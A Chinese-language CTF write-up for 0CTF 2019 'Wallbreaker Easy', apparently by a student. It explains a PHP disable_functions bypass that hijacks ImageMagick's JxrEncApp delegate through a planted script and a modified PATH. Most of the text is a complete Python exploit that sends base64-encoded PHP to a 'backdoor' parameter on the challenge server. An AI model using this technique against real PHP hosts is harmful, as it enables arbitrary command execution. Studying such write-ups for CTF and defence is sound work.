0ctf wallbreaker easy writeup

主要参考:
https://paper.tuisec.win/detail/d4ba64dd4d1dc38
http://momomoxiaoxi.com/2019/03/26/tctf2019/#wallbreaker-easy
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
以及学长的exp:http://mmmmmmlei.cn/
这里记录下自己对这道题的思考,非常感谢无私分享的各位大佬
主要思路:
ImageMagick有一个功能叫做delegate(委托),ImageMagick在解析其不可解析的文件类型时,会尝试调用第三方程序来加载,而调用外部lib的过程是使用系统的system命令来执行的,所以我们需要做的就是用ImageMagick去解析一个无法解析的文件,然后通过putenv去劫持函数
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests,sys
import base64

dir="/tmp/73896d8f09a8ff21be5e9519fe2a6670" #替换成自己的

exploit_php = '''
<pre>
Open Basedir: <br><?php echo ini_get('open_basedir');?><br>
Disable functions: <br><?php echo ini_get('disable_functions'); ?>
<?php

$tmp = "%s";

file_put_contents("$tmp/1.bmp", file_get_contents("http://www.humanesociety.org/sites/default/files/2018/06/cat-217679.jpg")); #将正常的图片文件写到tmp目录下
$exp = <<<EOF
#!/bin/bash
export PATH=/usr/sbin:/usr/bin:/bin
/readflag > $tmp/data
EOF;#修改路径到系统命令下

file_put_contents("$tmp/JxrEncApp", $exp); #ImageMagick无法解析jxr文件,会委托JxrEncApp去帮助解析,我们劫持JxrEncApp就可以执行命令
chmod("$tmp/JxrEncApp", 0777); putenv("PATH=$tmp:/usr/sbin:/usr/bin:/bin"); #配置环境变量
try {
$a = new Imagick();
$a->readImage("$tmp/1.bmp"); #Imagick可以正常读文件
$a->writeImage("$tmp/1.jxr"); #Imagick无法解析
} catch (Exception $e) {
var_dump($e);
};?>
<br>
Command output:
<?php
echo file_get_contents("$tmp/data"); #读flag
?></pre>
'''% dir

gadget_code = '''
file_put_contents("%s/gml", base64_decode("%s"));
include "%s/gml";
unlink("%s/gml");'''% (dir,base64.b64encode(exploit_php),dir,dir)print(requests.post("http://111.186.63.208:31340", data={'backdoor': gadget_code }).content)

将注释删掉,直接运行即可得到flag
flag-7

0%